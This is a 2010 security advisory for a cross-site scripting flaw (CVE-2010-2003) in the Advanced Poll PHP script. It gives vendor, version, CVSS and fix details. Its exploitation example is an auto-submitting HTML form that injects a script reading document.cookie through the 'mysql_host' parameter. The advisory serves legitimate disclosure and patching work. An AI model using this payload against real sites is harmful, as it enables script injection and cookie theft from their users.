Cross-site Scripting (XSS) Vulnerability in Advanced Poll

Advisory ID:HTB22358
Product:Advanced Poll
Vendor:Chi Kien Uong
Vulnerable Versions:2.08 and probably prior
Tested Version:2.08
Advisory Publication:April 23, 2010 [without technical details]
Vendor Notification:April 23, 2010
Public Disclosure:May 7, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2010-2003
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Advanced Poll which could be exploited to perform cross-site scripting (XSS) attacks.

1) Cross-site scripting vulnerability in Advanced Poll: CVE-2010-2003
An input sanitation error was found in the "mysql_host" parameter in /misc/get_admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:

<form method="POST" action="http://host/misc/get_admin.php" name="main">
<input type="hidden" name="mysql_host" value="<script>alert(document.cookie);</script>">
<input type="hidden" name="db_name" value="X">
<input type="hidden" name="mysql_user" value="X">
<input type="hidden" name="mysql_pass" value="X">
<input type="hidden" name="action" value="connect">
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Upgrade to version 2.0.9.


References:
[1] High-Tech Bridge Advisory HTB22358 - https://www.immuniweb.com/advisory/HTB22358 - Cross-site Scripting (XSS) Vulnerability in Advanced Poll
[2] Advanced Poll - http://www.advancedpoll.com/ - Advanced Poll is a PHP Script Polling System.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
Previous Security Advisories with CWE-79:

HTB22356: XSS in EasyPublish CMS

HTB22357: XSS vulnerability in Jaws

User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Solutions
Get a Demo
Newsletter